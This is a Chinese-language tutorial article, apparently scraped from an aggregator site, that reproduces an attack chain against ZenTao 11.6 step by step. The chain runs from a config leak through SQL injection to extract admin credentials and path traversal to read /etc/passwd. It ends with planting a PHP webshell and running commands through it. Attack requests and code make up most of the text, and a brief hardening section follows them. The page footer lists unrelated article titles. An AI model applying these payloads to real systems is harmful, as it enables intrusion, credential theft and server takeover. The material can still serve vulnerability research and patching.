当前位置: 首页 > news >正文

手把手复现禅道11.6后台漏洞:从SQL注入到RCE的完整攻击链分析

禅道11.6漏洞链深度剖析:从SQL注入到系统沦陷的实战路径

在开源项目管理领域,禅道凭借其完整的功能矩阵长期占据重要地位。但当系统存在多个安全缺陷时,攻击者往往能通过漏洞组合实现权限升级。本文将还原一个典型的攻击链路:从低危的SQL注入开始,通过参数传递机制缺陷逐步突破边界,最终完成远程代码执行的完整过程。

1. 环境搭建与初始侦查

搭建测试环境建议使用XAMPP集成包配合禅道11.6版本,确保与漏洞环境完全匹配。关键配置要点包括:

  • PHP版本需锁定5.6.x(与漏洞触发条件强相关)
  • MySQL启用宽松模式(模拟真实企业环境)
  • 关闭所有PHP安全过滤扩展(如magic_quotes_gpc)

初始信息收集技巧

GET /zentao/index.php?mode=getconfig HTTP/1.1 Host: target.com

这个看似无害的版本查询请求,实际上会返回包括数据库配置、安装路径在内的敏感信息。通过Burp Suite拦截响应可观察到:

"dbHost":"localhost", "dbUser":"root", "dbPassword":"zentao123", "installRoot":"C:\\xampp\\zentao"

2. 参数传递机制的安全盲区

禅道的路由解析存在设计缺陷,其router.class.php中PATH_INFO模式使用连字符分割参数,但未对参数做类型校验。观察以下关键代码段:

// zentao/framework/base/router.class.php public function setRouteByPathInfo($pathInfo) { $parts = explode('-', $pathInfo); $this->moduleName = $parts[0]; $this->methodName = $parts[1]; // 无过滤直接赋值 }

这种宽松处理导致攻击者可以构造特殊参数链,例如:

api-getModel-api-sql-sql=[注入语句]

实际形成的方法调用链为:

  1. 调用api模块的getModel方法
  2. 在getModel中继续调用api模块的sql方法
  3. 将sql参数直接拼接查询

3. SQL注入的精准利用

通过前期的路由分析,构造突破认证的注入Payload:

GET /zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user+where+account%3d'admin' HTTP/1.1

关键突破点在于api/model.php中的危险逻辑:

public function sql($sql) { if(stripos($sql, 'select') === 0) { return $this->dao->query($sql); // 直接执行未过滤 } }

获取管理员凭证后,攻击者通常会进行以下操作:

  1. 修改会话令牌维持访问
  2. 提取其他系统用户信息用于横向移动
  3. 查询数据库配置为后续渗透做准备

4. 文件操作漏洞的连锁反应

利用已获取的权限,通过文件读取漏洞获取系统关键信息:

GET /zentao/api-getModel-file-parseCSV-fileName=../../../../etc/passwd HTTP/1.1

漏洞根源在于file/model.php中的路径处理缺陷:

public function parseCSV($fileName) { $content = file_get_contents($fileName); // 直接读取 return explode("\n", $content); }

虽然系统有parsePathInfo()函数进行过滤,但可通过以下方式绕过:

  • 使用多重../跳转目录
  • 利用Windows特性(如C:\windows\win.ini
  • 结合编码混淆(如URL编码、双重编码)

5. 实现RCE的终极突破

组合利用文件写入和包含漏洞完成代码执行,分两个阶段实施:

阶段一:植入Webshell

POST /zentao/api-getModel-editor-save-filePath=shell.php HTTP/1.1 <?php system($_GET['cmd']);?>

阶段二:触发执行

GET /zentao/api-getModel-api-getMethod-filePath=shell.php/1?cmd=whoami HTTP/1.1

技术原理

  1. editor/model.php中的save方法未校验文件内容
  2. helper.class.php的import方法存在动态包含漏洞
  3. 通过dirname()函数特性绕过路径检查(需多级目录)

6. 防御策略与加固方案

针对此类漏洞链,建议实施分层防御:

代码层防护

// 安全的参数处理示例 function safeParam($input) { if(preg_match('/\.\.|\0|\'/i', $input)) { throw new Exception('Invalid input'); } return realpath($input); }

系统层加固

  • 禁用危险函数(如file_get_contentssystem
  • 配置open_basedir限制文件访问范围
  • 对数据库操作强制使用预处理语句

运维监控建议

  1. 部署WAF规则拦截异常参数模式
  2. 监控敏感文件变更(如.php文件创建)
  3. 建立SQL注入尝试的实时告警机制
http://www.jsqmd.com/news/963143/

相关文章:

  • 2026实地测评济南瓷砖空鼓修复TOP5服务商:厨卫阳台地砖翘边怎么修,源注免砸砖全域上门 - 防水空鼓维修家
  • 重庆有赞服务商推荐 - 速递信息
  • 别再手动调Excel了!用Easypoi 4.1.3实现一对多数据导出,自动合并单元格+智能行高
  • 告别手动摆焊盘!用Allegro PCB Designer快速绘制标准IC封装的完整流程
  • FPGA IP核如何构建确定性网络:从TSN、PTP到SpaceWire的硬件化实现
  • Hitboxer:告别键盘冲突,让游戏操作更精准的智能按键映射工具
  • 2026 石家庄黄金回收权威实测:TOP1 顶流合扬,五大机构客观排行 - 奢侈品交易观察员
  • 盘点RFID固定资产管理系统,这几个品牌实力领跑 - 固定资产管理系统
  • Windows字体自定义终极指南:No!! MeiryoUI 5分钟快速上手
  • 010、Claude Code 架构概览:Agent SDK、Tool System、MCP Server 生态全景
  • 别再死记硬背了!用COMSOL Multiphysics 6.1复现‘母线板焦耳热’案例,手把手拆解建模九步法
  • 2026年 上海建筑垃圾清运/小区垃圾清运/工地渣土清运/装修垃圾清运推荐榜单:高效合规与环保服务口碑之选 - 品牌企业推荐师(官方)
  • 金蝶云苍穹初级开发认证:我踩过的那些坑和必考知识点总结(附题库解析)
  • 5分钟搞定!ImageToSTL终极图片转3D模型工具完全指南
  • 告别命令行恐惧!用VS Code插件一键搞定ESP32开发环境(Windows保姆级教程)
  • 【广州楼市研判系列71】2026置换总结:普通人最稳的资产升级路径 - 速递信息
  • 2026年杭州地区空调维修服务商综合实力Top10评测:基于官方资质、技术纵深、收费透明与售后保障的全维度选型指南 - 企业品牌优选推荐官
  • 深度解析SpeechScore:如何构建16维语音质量评估的统一架构
  • 2026年6月上海黄金回收指南:筛选正规回收门店,收的顶凭高价透明领跑行业 - 奢侈品回收评测
  • 卖黄金总吃亏?哈尔滨本土奢品回收承诺:报价 = 到手价,不临时压价 - 奢侈品交易观察员
  • 成都手表高价回收哪家强?五家门店对比分析 - 开心测评
  • Keyboard Chatter Blocker:3分钟彻底解决机械键盘连击问题的免费神器
  • 避坑指南:ZYNQ7000 GPIO开发中那些容易踩的雷(MIO7/8限制、中断共享、寄存器读写误区)
  • 【独家逆向工程验证】:CSDN AI分发是否真能零配置适配各端?我们测试了12类内容+8大平台,结果颠覆认知!
  • 避坑指南:NCBI GEO/SRA数据提交填表示例全解析(附模板下载)
  • 三步完成MIFARE标签管理:MIFARE Classic Tool的完整解决方案
  • 从KR到C2x:一张图看懂C语言标准30年变迁史(附各版本核心特性对比)
  • 2026最新!降AIGC平台测评:高效论文降重与改写工具推荐 - 降AI小能手
  • 杭州宝珀手表表圈夜光珠脱落怎么办?2026年6月重磅推荐 宝珀官方售后实地探访+更换方案,附全国网点 - 亨得利官方维修中心
  • 武汉卖金避坑实测:S 级推荐禹竞,持证鉴定规避缺秤压价套路 - 奢侈品交易观察员